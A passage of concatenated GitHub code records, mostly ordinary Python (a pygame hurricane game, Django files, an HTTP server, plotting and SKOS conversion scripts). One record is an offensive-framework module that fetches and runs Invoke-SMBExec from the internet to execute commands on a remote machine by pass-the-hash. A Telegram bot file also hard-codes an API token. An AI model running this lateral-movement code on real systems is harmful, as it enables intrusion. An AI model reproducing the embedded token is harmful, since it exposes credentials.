NewProductPreferrer.trainingInstancesForSingleKeyword(searchNProductLogs)\n if pairs.isEmpty():\n return\n else:\n pairs = pairs.coalesce(24)\n outputPath = paths.joinPath(outputFolder, keyword_name + '/' + keyword_name + '_pairs')\n SparkLogFileHandler.saveRDDToHDFS(pairs, outputPath)\n FinalizedRunners.trainForKeyword(keyword, outputFolder, saving = True)\n \ndef besTrain():\n import paths, SparkLogFileHandler, SearchExtractor, FinalizedRunners\n keyword = 'besiktas'\n outputFolder = paths.joinPath(paths.HDFSRootFolder, 'weekAugust/' + keyword)\n FinalizedRunners.trainForKeyword(keyword, outputFolder, saving = True)","repo_name":"muratcancicek/Assignment-Projects","sub_path":"CS401/GG-Project_clean/GG-Project/ReadyTests3.py","file_name":"ReadyTests3.py","file_ext":"py","file_size_in_byte":5799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29324360207","text":"# imports for Arduino\r\nimport serial\r\nfrom serial import Serial\r\n\r\n# imports for PyGame\r\nimport pygame\r\nfrom pygame.locals import *\r\nfrom pygame import font\r\n\r\npygame.init()\r\n\r\n# defining RGB\r\nwhite = (255, 255, 255)\r\nblack= (0, 0, 0)\r\n\r\n# assigning screen dimensions\r\nX = 1600\r\nY = 1000\r\n\r\ndisplay_surface = pygame.display.set_mode((X, Y))\r\npygame.display.set_caption(\"Adventures of Hurricane Preparation\")\r\n\r\nimagePath = r'C:/Users/Ramneek/Documents/Code_Projects/CPSC-4820-Hurricane-Simulator-Game/assets/hurricane.jpg'\r\nimageTextUpper = \"Welcome to the Adventure of Hurricane Preparation\"\r\nimageTextLower = \"The weather outside isnt looking good. What should we do? Turn on the news or watch a movie?\"\r\n\r\nimage = pygame.image.load(imagePath).convert()\r\nimage = pygame.transform.scale(image, (1600, 750))\r\n\r\nfont = pygame.font.Font('freesansbold.ttf', 30)\r\ntextUpper = font.render(imageTextUpper, True, black, white)\r\ntextLower = font.render(imageTextLower, True, black, white)\r\n\r\n\r\nleftTextList = [\"Local News Channel 4 alerts locals of a hurricane watch is to arrive in 48 hours.\", \"While enjoying the nice weather at the beach, you get a nervous feeling about the upcoming storm.\"]\r\nleftQuestionList = [\"Do you Enjoy the nice weather while it lasts or Get supplies from the grocery store?\", \"Do you ignore the feeling and collect seashells or go home to review the evacuation plan with your family\"]\r\nrightTextList = [\"You turn on the local news again and they warn us the hurricane is to arrive in 36 hours. This time the alert is a warning, and not a watch\", \"18 hours until the hurricane\"]\r\nrightQuestionList = [\"You wonder what the difference is between a hurricane watch and a hurricane warning, do you look up the difference online or assume the definitions are interchangable?\", \"Do I start to move the garbage cans inside or go to the hardwood store to buy plywood\"]\r\nquestionImageDict = {\r\n \"Do you Enjoy the nice weather while it lasts or Get supplies from the grocery store?\": r\"C:/Users/Ramneek/Documents/Code_Projects/CPSC-4820-Hurricane-Simulator-Game/assets/hurricaneAlert.jpg\",\r\n \"Do you ignore the feeling and collect seashells or go home to review the evacuation plan with your family\": r\"C:/Users/Ramneek/Documents/Code_Projects/CPSC-4820-Hurricane-Simulator-Game/assets/nervousFeeling.jpg\",\r\n \"You wonder what the difference is between a hurricane watch and a hurricane warning, do you look up the difference online or assume the definitions are interchangable?\": r\"C:/Users/Ramneek/Documents/Code_Projects/CPSC-4820-Hurricane-Simulator-Game/assets/watchvswarning.jpg\",\r\n \"Do I start to move the garbage cans inside or go to the hardwood store to buy plywood\": r\"C:/Users/Ramneek/Documents/Code_Projects/CPSC-4820-Hurricane-Simulator-Game/assets/18hours.jpg\"\r\n}\r\n\r\ndef getButtonPush(arduino):\r\n while True:\r\n data = arduino.readline(1000)\r\n decodedData = data.strip().decode('UTF-8')\r\n return(decodedData)\r\n\r\ndef gameEvents(arduino, direction):\r\n global imagePath\r\n global imageTextLower\r\n global imageTextUpper\r\n global image\r\n global font\r\n global textUpper\r\n global textLower\r\n\r\n if \"Left\":\r\n imageTextLower = leftQuestionList.pop(0)\r\n imageTextUpper = leftTextList.pop(0)\r\n\r\n elif \"Right\":\r\n imageTextLower = rightQuestionList.pop(0)\r\n imageTextUpper = rightTextList.pop(0)\r\n\r\n iPath = questionImageDict[imageTextLower]\r\n imagePath = iPath\r\n\r\n image = pygame.image.load(imagePath).convert()\r\n image = pygame.transform.scale(image, (1600, 750))\r\n\r\n font = pygame.font.Font('freesansbold.ttf', 30)\r\n textUpper = font.render(imageTextUpper, True, black, white)\r\n textLower = font.render(imageTextLower, True, black, white)\r\n\r\n\r\ndef main():\r\n try:\r\n arduino = serial.Serial('COM3', 9600)\r\n except:\r\n print(\"Failed to connect to Arduino\")\r\n quit()\r\n\r\n while True:\r\n display_surface.fill(white)\r\n display_surface.blit(image, (0,125))\r\n display_surface.blit(textUpper, (0,50))\r\n display_surface.blit(textLower, (0, 900))\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n elif event.type == KEYDOWN:\r\n if event.key == K_LEFT:\r\n gameEvents(arduino, \"Left\")\r\n elif event.key == K_RIGHT:\r\n gameEvents(arduino, \"Right\")\r\n pygame.display.update()\r\n\r\n arduino.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"rchhatwal3/CPSC-4820-Hurricane-Simulator-Game","sub_path":"hurricaneSimulatorGamewithPygame.py","file_name":"hurricaneSimulatorGamewithPygame.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37547238377","text":"from django.urls import path\n\nfrom apps.orders.views import AddToCartView, CartView, CheckoutView\n\nurlpatterns = [\n path('add-to-cart/', AddToCartView.as_view(), name='add_to_cart'),\n path('', CartView.as_view(), name='cart'),\n path('checkout/', CheckoutView.as_view(), name='checkout'),\n]\n\n","repo_name":"Damir-p/Electronic-menu-for-a-restaurant","sub_path":"apps/orders/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21613701257","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport photoserver.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('photoserver', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='album',\n name='album_url',\n field=models.CharField(default=photoserver.models.generate_album_url, max_length=255),\n preserve_default=True,\n ),\n ]\n","repo_name":"rtts/photoserver","sub_path":"django/photoserver/migrations/0002_auto_20160107_1416.py","file_name":"0002_auto_20160107_1416.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31224958275","text":"#!/usr/bin/env python\n\"\"\"\nVery simple HTTP server in python.\n\nUsage::\n ./dummy-web-server.py []\n\nSend a GET request::\n curl http://localhost\n\nSend a HEAD request::\n curl -I http://localhost\n\nSend a POST request::\n curl -d \"foo=bar&bin=baz\" http://localhost\n\n\"\"\"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n#import SocketServer\nimport requests, json\n\nimport numpy as np\n\nimport NNWorkFn\n\n#import serial\n#ser = serial.Serial('/dev/ttyACM0', 115200, timeout=10) # open serial port\n#print(\"Opened port:\", ser.name) # check which port was really used\n\nKEY = 6769\n\ndef get_buf_fromserial(ser, buffer_len, buffer_width):\n buf = np.zeros((buffer_width, buffer_len), dtype=float)\n for i in range(0, buffer_len):\n line = ser.readline() # read a '\\n' terminated line\n print(line)\n line = line.decode(\"utf-8\") \n line = line.strip('\\n')\n line_str = line.split(\",\")\n line_int = []\n for j in range(0, len(line_str)):\n line_int.append(int(line_str[j]))\n # #line_int = map(int, line_str)\n line_arr = np.asarray(line_int)\n #print(\"Shapes\", line_arr.shape, buf.shape)\n buf[:,i] = line_arr\n return buf\n\nclass S(BaseHTTPRequestHandler):\n def _set_headers(self):\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n\n def do_GET(self):\n self._set_headers()\n if self.path == \"/\":\n f=open(\"data.json\")\n print(\"###### GET Request ##########\")\n data = f.read()\n f.close()\n self.wfile.write(data.encode('utf-8'))\n #elif self.path == \"/serial\":\n #print(\"###### SERIAL GET Request ##########\")\n #while True:\n #try:\n #buf = get_buf_fromserial(ser, 200, 13)\n #buf = np.mean(buf, axis=1)\n #break\n #except ValueError:\n #print(\"Value Error\")\n #print(\"Got buffer\")\n #buf_dict = {}\n #buf_dict['data'] = buf.tolist()\n #buf_dict['key'] = KEY\n #buf_json = json.dumps(buf_dict)\n #NNWorkFn.work_function_POST(buf_json.encode('utf-8'))\n #self._set_headers()\n #f=open(\"data.json\")\n #data = f.read()\n #f.close()\n #self.wfile.write(data.encode('utf-8'))\n elif self.path == \"/ble\":\n print(\"###### BLE GET Request ##########\")\n f=open(\"bledata.json\")\n bledata = f.read()\n f.close()\n bledata = json.loads(bledata)\n print(\"Got buffer\")\n buf_dict = {}\n buf_dict['data'] = bledata### from BLE\n buf_dict['key'] = KEY\n buf_json = json.dumps(buf_dict)\n NNWorkFn.work_function_POST(buf_json.encode('utf-8'))\n self._set_headers()\n f=open(\"data.json\")\n data = f.read()\n f.close()\n self.wfile.write(data.encode('utf-8'))\n elif self.path == \"/history\":\n #post_data = post_data.decode('utf-8')\n #print(post_data)\n #jsondata = json.loads(post_data)\n #key = jsondata['key']\n key = KEY;\n tmp = NNWorkFn.get_JSON_hist('longhistory.csv', key)\n self.wfile.write(tmp.encode('utf-8'))\n \n\n def do_HEAD(self):\n self._set_headers()\n \n def do_POST(self):\n # Doesn't do anything with posted data\n content_length = int(self.headers['Content-Length']) # <--- Gets the size of data\n post_data = self.rfile.read(content_length) # <--- Gets the data itself\n print(self.path)\n if self.path == \"/\":\n NNWorkFn.work_function_POST(post_data)\n self._set_headers()\n f=open(\"data.json\")\n print(\"###### POST Request ##########\")\n data = f.read()\n f.close()\n self.wfile.write(data.encode('utf-8'))\n \ndef run(server_class=HTTPServer, handler_class=S, port=8000):\n server_address = ('', port)\n httpd = server_class(server_address, handler_class)\n print('Starting httpd...')\n httpd.serve_forever()\n\nif __name__ == \"__main__\":\n from sys import argv\n\n r = requests.get('http://sync.afraid.org/u/f8pJnAJazhOSZW0N9evL8Ora/ ')\n\n if len(argv) == 2:\n run(port=int(argv[1]))\n else:\n run()\n\n","repo_name":"MHML2018/studious-octo-goggles","sub_path":"sitrightserver.py","file_name":"sitrightserver.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30710207858","text":"from termcolor import colored, cprint\nfrom module import Module\n\n\nclass CustomModule(Module):\n def __init__(self):\n information = {\"Name\": \"Invoke-SMBExec\",\n \"Description\": \"Execute SMBExec\",\n \"Author\": \"Kevin Robertson\",\n \"Link\": \"https://github.com/Kevin-Robertson/Invoke-TheHash\",\n \"License\": \"BSD 3-Clause\",\n \"Module\": \"@pablogonzalezpe, @toolsprods\"}\n\n # -----------name-----default_value--description--required?\n options = {\"warrior\": [None, \"Warrior in war\", True],\n \"target\": [None, \"IP remote machine\", True],\n \"domain\": [\"WORKGROUP\", \"Domain or WORKGROUP\", True],\n \"username\": [\"Administrator\", \"Username\", True],\n \"command\": [\"echo pwned > proof.txt\", \"Command to execute\", True],\n \"hash\": [None, \"NTLM Hash\", True]}\n\n # Constructor of the parent class\n super(CustomModule, self).__init__(information, options)\n\n # This module must be always implemented, it is called by the run option\n def run_module(self):\n function = \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1');\"\n function += 'Invoke-SMBExec -Target {} -Domain {} -Username {} -Hash {} -Command \"{}\"'.format(self.args[\"target\"],self.args[\"domain\"],self.args[\"username\"],self.args[\"hash\"],self.args[\"command\"])\n super(CustomModule, self).run(function)\n","repo_name":"Telefonica/ibombshell","sub_path":"ibombshell c2/modules/lateral-movement/invoke-smbexec.py","file_name":"invoke-smbexec.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":301,"dataset":"github-code","pt":"21"} +{"seq_id":"31388547931","text":"import os\nfrom flask import Flask, Blueprint, request\nimport server.file_daemon\n\napp = Flask(__name__)\napp_settings = os.getenv('APP_SETTINGS', 'server.config.TestingConfiguration')\napp.config.from_object(app_settings)\n\nimport server.resources.api\napp.register_blueprint(server.resources.api.bp, url_prefix='/api')\n\nserver.file_daemon.file_handler = server.file_daemon.FileHandler(\n app.config['MIN_EXPIRY_TIME'], app.config['MAX_EXPIRY_TIME'],\n app.config['RATE_AVERAGE_WINDOW'], app.config['DIRECTORY']\n )\n\n\n@app.route('/helloWorld', methods = ['GET'])\ndef imAlive():\n request_data = request.args.get('query') # type: ignore\n return \"Hello World!\"","repo_name":"SCOREC/BDA_SM","sub_path":"src/results_cache/server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23387277347","text":"\"\"\"\n Plot NOAA balloon soundings as a\n time-height section.\n Files have extension tsv.\n\n Raul Valenzuela\n September, 2015\n\"\"\"\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sounding as so\n\nfrom scipy.ndimage.filters import gaussian_filter\n\n\n# homedir = '/Users/raulv/Documents'\nhomedir = '/home/rvalenzuela'\n\nusr_case = None\n\n\nfile_sound, usc = so.get_sounding_files(usr_case, homedir=homedir)\n\n''' raw soundings vertically-interpolated '''\n# # soundarray,_,_,_,_ = get_raw_array('thetaeq', file_sound)\nout = so.get_raw_array('bvf_moist', file_sound)\nsoundarray, _, _, y, x, raw_dates = out\ntitle = 'BVFm raw'\n# make_imshow(soundarray,title,x,y,raw_dates)\n\n''' time-interpolated '''\n# soundarray2,_,_ = get_interp_array('u',files=file_sound)\n# soundarray2,_,_ = get_interp_array('v',files=file_sound)\n# soundarray2,_,_ = get_interp_array('DD',files=file_sound)\n# soundarray2,_,_ = get_interp_array('thetaeq',files=file_sound)\nout = so.get_interp_array('bvf_moist', files=file_sound)\nsoundarray2, hgt, timestamp, raw_dates = out\n\n# make_imshow(soundarray2,'')\n\n# make_contourf(soundarray2,'unfiltered array')\n\n'''smooth field, sigma=2 seems good for BVF'''\nsigma = 2\nsound_filtered = gaussian_filter(soundarray2, sigma, mode='nearest')\n\nx = timestamp\ny = hgt\n# array = sound_filtered\narray = soundarray\n\n\nif usc == str(3):\n ''' stable '''\n # st=np.datetime64('2001-01-23T16:00')\n # en=np.datetime64('2001-01-23T22:00')\n ''' unstable '''\n st = np.datetime64('2001-01-23T22:00')\n en = np.datetime64('2001-01-24T04:00')\nelif usc == str(6):\n '''unstable '''\n st = np.datetime64('2001-02-11T02:20')\n en = np.datetime64('2001-02-11T06:00')\n ''' stable '''\n # st=np.datetime64('2001-02-11T06:00')\n # en=np.datetime64('2001-02-11T09:00')\nelif usc == str(8):\n st = np.datetime64('2003-01-12T16:40')\n en = np.datetime64('2003-01-13T01:00')\nelif usc == str(9):\n st = np.datetime64('2003-01-22T17:00')\n en = np.datetime64('2003-01-23T01:40')\nelif usc == str(13):\n st = np.datetime64('2004-02-17T17:00')\n en = np.datetime64('2004-02-18T00:00')\n\n'''**** CASE 14 NEEDS FURTHER QC ****'''\n\n''' case 07 - P3 leg04 '''\nst = np.datetime64('2001-02-17T17:20')\nen = np.datetime64('2001-02-17T18:00')\n\ntitle = 'BVFm with gaussian filter (sigma='+str(sigma)+')'\nso.make_imshow(array, title, x, y, raw_dates)\n# make_imshow(array,title,x,y,raw_dates,time=[st,en])\n# make_imshow(array,title,x,y,None,vertical=[200,1200])\n# make_imshow(array,title,x,y,None,vertical=[1200,4000])\n\n# title = 'BVFm with gaussian filter (sigma='+str(sigma)+')'\n# so.make_contourf(array, title, x, y, raw_dates)\n# make_contourf(array,title,x,y,raw_dates,time=[st,en])\n# so.make_contourf(array, title, x, y, raw_dates,\n# vertical=[10, 1500], time=[st, en])\n# make_contourf(array,title,x,y,raw_dates,\n# vertical=[200,3000],time=[st,en])\n# make_contourf(array,title,x,y,raw_dates,\n# vertical=[1200,4000])\n\n# array = so.make_statistical(sound_filtered, x, y,\n# vertical=[10, 4000], time=[st, en])\n# array = so.make_statistical(sound_filtered, x, y,\n# vertical=[10, 1500], time=[st, en])\n\n# array = make_statistical(sound_filtered, x, y,\n# vertical=[200, 3000], time=[st, en])\n# array = make_statistical(sound_filtered, x, y,\n# vertical=[200, 1200])\n# array = make_statistical(sound_filtered, x, y,\n# vertical=[200, 1200], time=[st, en])\n# array = make_statistical(sound_filtered, x, y,\n# vertical=[1200, 4000])\n\n# plt.show()\nplt.show(block=False)\n","repo_name":"rvalenzuelar/sounding_vis","sub_path":"plotSoundTH.py","file_name":"plotSoundTH.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9229495304","text":"'''\nhte2skos.py\n\nClean up the HTE data and convert it to SKOS.\n\nThis script takes the HTE data as .xlsx file.\nIt tries to clean it up by adding some needed unique identifier\nand deriving additional data columns. It then converts the\ninformation into SKOS statements and writes these into an\nintermediate file. This file is then checked and possibly\nenhanced by the skosify tool.\n'''\n\nimport argparse\nimport logging\nfrom pathlib import Path\n\nimport numpy as np\nimport pandas as pd\nfrom rdflib import Graph, Literal, Namespace, RDF, URIRef\nfrom rdflib.namespace import SKOS, XSD\nimport skosify\n\n\nURI_PREFIX = 'https://w3id.org/TRM/'\nCONCEPT_PREFIX = f'{URI_PREFIX}concepts/'\nCONCEPT_SCHEME = f'{URI_PREFIX}conceptSchemes/TRMBase'\n\nPROJECT_PATH = Path(__file__).parent\nHTE_PATH = PROJECT_PATH / 'Media_405073_smxx.xlsx'\nCLEAN_PATH = PROJECT_PATH / 'results' / 'prepared_hte_data.xlsx'\nINTER_PATH = PROJECT_PATH / 'results' / 'intermediate_hte_data.ttl'\nRESULT_PATH = PROJECT_PATH / 'results' / 'hte_data.ttl'\n\nFIXTURES = {\n 50: '238078', # Asia, 01.01.06.02\n 777: '238074', # Textiles and clothing, 01.08\n 1175: '238077', # Condition of matter\n 1986: '238071', # Goodness and badness\n #2022: '999999', # Emotion genuinely has no linked concept. Just use an arbitrary number for now\n #2023: '127644', # Emotions, mood\n}\n \n\ndef prepare(df):\n '''Clean data up and create derived data columns.'''\n # Add missing (but known) catids.\n new_id_gen = _generate_new_trmid(df, starting=500000)\n def new_id(row):\n if row.name in FIXTURES:\n return FIXTURES[row.name]\n elif not row['catid'] or row['catid'] is np.NaN:\n return next(new_id_gen)\n return row['catid']\n\n df['trmid'] = df.apply(new_id, axis=1)\n\n # Regenerate the concat column by concatenating the HTE path columns.\n df['concat'] = df.apply(lambda row: build_sig(row, ['t1','t2','t3','t4','t5','t6','t7'], '.', 'pos'), axis=1)\n\n # Remove unneeded columns.\n df = df.drop(['t1', 't2', 't3', 't4', 't5', 't6', 't7', 'subcat', 'pos', 'HT heading'], axis=1)\n\n # Create HTE URL column.\n df['hte_url'] = df.apply(build_hte_url, axis=1)\n\n # Create signature column by concatenating the Thematic Categories path columns.\n df['signature'] = df.apply(build_sig, axis=1)\n\n # Create column with parent category (if any).\n # This is super slow, but unfortunately we have to check if all these\n # parent items actually exist.\n df['broader'] = df.apply(lambda row: determine_parent(df, row), axis=1)\n\n # Rename label column.\n df.rename(columns={'SAMUELS heading': 'prefLabel'}, inplace=True)\n\n # Remove excessive whitespace.\n df['prefLabel'] = df['prefLabel'].str.strip()\n\n # Remove now obsolete columns.\n df = df.drop(['AS1','S2','S3','S4','S5'], axis=1)\n\n return df\n\n\ndef build_sig(row, fields=['AS1', 'S2', 'S3', 'S4', 'S5'], sep='', end=None):\n '''Concatenate path elements from the given fields.'''\n r = row.loc[fields]\n sig = sep.join(r[r.notnull()])\n if end is not None:\n sig += f\"{row.loc[end]}\"\n return sig\n\n\ndef build_concept_uri(catid):\n '''Create a URI for a concept.'''\n return f'{CONCEPT_PREFIX}{catid}/'\n\n\ndef build_hte_url(row):\n catid = row.loc['catid']\n if catid and catid is not np.NaN:\n return f'https://ht.ac.uk/category/?id={row.loc[\"catid\"]}'\n return None\n\n\ndef convert(df, exclude_hte_path, exclude_tc_path):\n '''Take dataframe and express its information as SKOS.\n\n It expects the following columns to be present in the dataframe:\n * hte_url (the UID of the concept)\n * signature (the path of the concept)\n * broader (UID of the broader concept)\n * prefLabel (preferred label of the concept)\n * concat (the corresponding path in the full HTE hierarchy)\n '''\n graph = Graph()\n ns = Namespace(URI_PREFIX)\n\n # Create the skos:ConceptScheme\n scheme = URIRef(CONCEPT_SCHEME)\n graph.add((scheme, RDF.type, SKOS.ConceptScheme))\n graph.add((scheme, SKOS.prefLabel, Literal('Thesaurus of Religious Metaphors', lang='en')))\n graph.add((scheme, SKOS.altLabel, Literal('TRM', lang='en')))\n\n # Yes, I know that `df.iterrows()` is slow but these are only 4000 rows, give me a break..\n for _idx, row in df.iterrows():\n concept = URIRef(build_concept_uri(row['trmid']))\n graph.add((concept, RDF.type, SKOS.Concept))\n graph.add((concept, SKOS.prefLabel, Literal(row['prefLabel'], lang='en')))\n\n if not exclude_tc_path:\n graph.add((concept, SKOS.notation, Literal(row['signature'], datatype=ns.TCPath)))\n \n if row['concat'] and row['concat'] != 'nan' and not exclude_hte_path:\n graph.add((concept, SKOS.notation, Literal(row['concat'], datatype=ns.HTEPath)))\n\n if row['broader'] and row['broader'] is not np.NaN:\n graph.add((concept, SKOS.broader, URIRef(row['broader'])))\n \n return graph\n\n\ndef determine_parent(df, row):\n '''Check if there is a parent category, and if so, what its URL would be.\n \n This is pretty slow, but unfortunately we cannot simply assume that\n concepts which are deeper in the hierarchy have a parent concept which\n actually exists inside the TC.\n See https://git.noc.ruhr-uni-bochum.de/sfb1475-inf/TRM/-/issues/5 for\n further info.\n '''\n path = row.loc[['AS1', 'S2', 'S3', 'S4', 'S5']]\n path = path[path.notnull()]\n\n found = None\n while len(path) > 1:\n path, leaf = path[:-1], path[-1]\n sig = ''.join(path)\n trmid = df.loc[df['signature'] == sig]['trmid']\n\n if trmid.empty:\n msg = f\"Concept path '{sig}{leaf}' suggests that '{sig}' should exist, but it doesn't.\"\n logging.warning(msg)\n else:\n found = build_concept_uri(trmid.iloc[0])\n break\n return found\n\n\ndef _generate_new_trmid(df, starting=None):\n '''In cases where no catid is present, just use the next highest integer.'''\n if starting is not None:\n maxid = starting\n else:\n maxid = df[df['catid'].notnull()]['catid'].astype(int).max()\n while True:\n maxid += 1\n yield str(maxid)\n\n\ndef skosify_graph(g):\n '''Check and enhance the SKOS graph using the skosify library.'''\n cfg = skosify.config('skosify_hte.cfg')\n voc = skosify.skosify(g, **cfg)\n return voc\n\n\ndef main(config):\n df = pd.read_excel(config.infile, dtype=str)\n df = prepare(df)\n df.to_excel(config.prepared)\n graph = convert(df, exclude_hte_path=config.no_hte_notation, exclude_tc_path=config.no_tc_notation)\n graph.serialize(config.intermediate, encoding='utf8', format='ttl')\n graph = skosify_graph(graph)\n graph.serialize(config.output, encoding='utf8', format='ttl')\n\n\nif __name__ == '__main__':\n p = argparse.ArgumentParser(description='Convert HTE data from .xlsx file to SKOS and enhance it with skosify.')\n p.add_argument('infile', type=Path, default=HTE_PATH, nargs='?',\n help='path to the .xlsx file which contains the HTE data')\n p.add_argument('-p', '--prepared', type=Path, default=CLEAN_PATH,\n help='path where the cleaned up .xlsx file should be written')\n p.add_argument('-i', '--intermediate', type=Path, default=INTER_PATH,\n help='path where the intermediate SKOS ttl file should be written')\n p.add_argument('-o', '--output', type=Path, default=RESULT_PATH,\n help='path where the final \"skosified\" SKOS ttl file should be written')\n p.add_argument('--no-hte-notation', default=False, action='store_true',\n help='if set, HTE path is not included as skos:notation')\n p.add_argument('--no-tc-notation', default=False, action='store_true',\n help='if set, TC path is not included as skos:notation')\n\n args = p.parse_args()\n main(args)","repo_name":"ben-tinc/trm-preview","sub_path":"HTE/hte2skos.py","file_name":"hte2skos.py","file_ext":"py","file_size_in_byte":7833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72167745012","text":"model = Sequential()\n\ninput_shape = (128, 128, 3)\n\nmodel.add(Conv2D(16, kernel_size=(2, 2), strides=(1, 1),\n activation='relu',\n input_shape=input_shape))\n\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\nmodel.add(Conv2D(32, strides=(2, 2), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(num_classes, activation='softmax'))","repo_name":"matthewivezaj73/IBM-AI-Engineer-Professional","sub_path":"convolutional_neural_network.py","file_name":"convolutional_neural_network.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71342400053","text":"import telebot\nimport time\n\nfrom PIL import Image\nimport requests\nfrom io import BytesIO\n\n\nbot = telebot.TeleBot(\"1910033477:AAFgTbZ6E-_KcgjEoQNpoPDSegx_ZGjy3Pk\", parse_mode=None) # You can set parse_mode by default. HTML or MARKDOWN\n\n@bot.message_handler(commands=['start', 'help'])\ndef send_welcome(message):\n\tbot.reply_to(message, \"Howdy, how are you doing?\")\n\t\n\t\n@bot.message_handler(commands=[\"kiss\"])\ndef sticker(message):\n bot.send_sticker(\n message.chat.id, \"CAACAgUAAxkBAAECrIthCCQ-foazfBmWjVt21cgBZkryPgAC-wEAAqdCQVfssteQiArdhCAE\")\n\n\t\n\n\n\t\n\"\"\"# ForceReply: forces a user to reply to a message\n# Takes an optional selective argument (True/False, default False)\nmarkup = types.ForceReply(selective=False)\ntb.send_message(chat_id, \"Send me another word:\", reply_markup=markup)\n\"\"\"\n\t\n@bot.message_handler(func=lambda m: True)\ndef echo_all(message):\n\tbot.reply_to(message, message.text)\n\t\n\t\n\n\n\nbot.polling()\n\n","repo_name":"BotCrash/maggie0208","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41905538541","text":"import nltk\nfrom nltk import word_tokenize\n\ncorpus = \"eos I really appreciate your help eos I is really sorry for not inviting you eos I really like your watch eos\"\ncorpus_ex = \"eos You book a flight eos I read a book eos You read eos\"\nval = 1\ndic = {}\n\ncurr_corp = corpus_ex\ncurr_corp = curr_corp.lower()\ntokens = word_tokenize(curr_corp)\npure_tokens = list(dict.fromkeys(tokens))\n\ndef getProbs(id=-1,tokens=[],corp=\"\",token_p=\"\",token_c=\"\"):\n if id != -1:\n prev = tokens[id-1]\n curr = tokens[id]\n num = prev+\" \"+curr\n else:\n num = token_p+\" \"+token_c\n if len(token_p) == 1:\n token_p = \" \"+token_p+\" \"\n prev = token_p\n if num not in dic:\n n_num = corp.count(num)\n n_prev = corp.count(prev)\n prob = n_num/n_prev\n dic[num] = prob\n #print(f'P({num}|{prev}) => {dic[num]}')\n return dic[num]\n\n\nprint(f'Calculating probabilities w.r.t: {curr_corp}')\nfor token_i in pure_tokens:\n for token_l in pure_tokens:\n getProbs(corp=curr_corp,token_p=token_i,token_c=token_l)\n\nprint(\"Bigram Table: \")\nprint(\" \",*pure_tokens,sep=\"\\t\")\nfor token_1 in pure_tokens:\n print(token_1,end=\"\\t\")\n for idx,token_2 in enumerate(pure_tokens):\n if idx != len(pure_tokens)-1 :\n print(dic[token_1+\" \"+token_2],end=\"\\t\")\n else:\n print(dic[token_1+\" \"+token_2])\n \ncurr_corp = \"eos you read a book eos\"\ncurr_corp = curr_corp.lower()\nprint(f'Now testing it for a sentence: {curr_corp}')\ntokens = word_tokenize(curr_corp)\nfor i in range(1,len(tokens)):\n prob = getProbs(id=i,tokens=tokens,corp=curr_corp)\n val = val*prob\n num = tokens[i-1]+\" \"+tokens[i]\n prev = tokens[i-1]\n print(f'P({num}|{prev}) => {prob}')\nprint(val)\n\n \n \n\n\n\n","repo_name":"MihirS57/NLP_Bigrams","sub_path":"nlp_bigrams.py","file_name":"nlp_bigrams.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69913293812","text":"\"\"\"\r\nFirst created: Thu Jul 8 16:51:59 2021\r\n@author: Brennan\r\n\r\nModified: Mon Aug 16 10:30:00 2021\r\n@author: Yuxiao\r\n\"\"\"\r\n# -*- coding: utf-8 -*-\r\n######### Required Modules ##########\r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\nfrom pathlib import Path\r\n\r\n\r\n# Helper functions: \r\nprice_2_return = lambda df: (df.shift(periods = -1)/df -1).head(-1) # compute the return of weekly data in decimals \r\nprice_2_log_return = lambda df: (np.log(df).shift(periods = -1) - np.log(df)).head(-1) # compute the log return of weekly data in decimals \r\nprint_df_instring = lambda df: print(df.describe().to_string()+'\\n')\r\n\r\n\r\n# ** Combine all functions into one based on user input variations: \r\n# get_return(param1, param2, param3...), get_price(param1, param2, param3...)\r\n# p, n, filename, \r\nclass data_handler:\r\n filepath = \"\"\r\n filename = \"\"\r\n datatype = \"\"\r\n raw_data = None\r\n start_date = None\r\n end_date = None\r\n\r\n ###### Class constructor of data_handler ######\r\n def __init__(self, filename):\r\n self.filename = filename\r\n self.filepath = Path(__file__).parent/ \"stored_data\" / self.filename\r\n # Successful filename and filepath\r\n if os.path.isfile(self.filepath):\r\n if 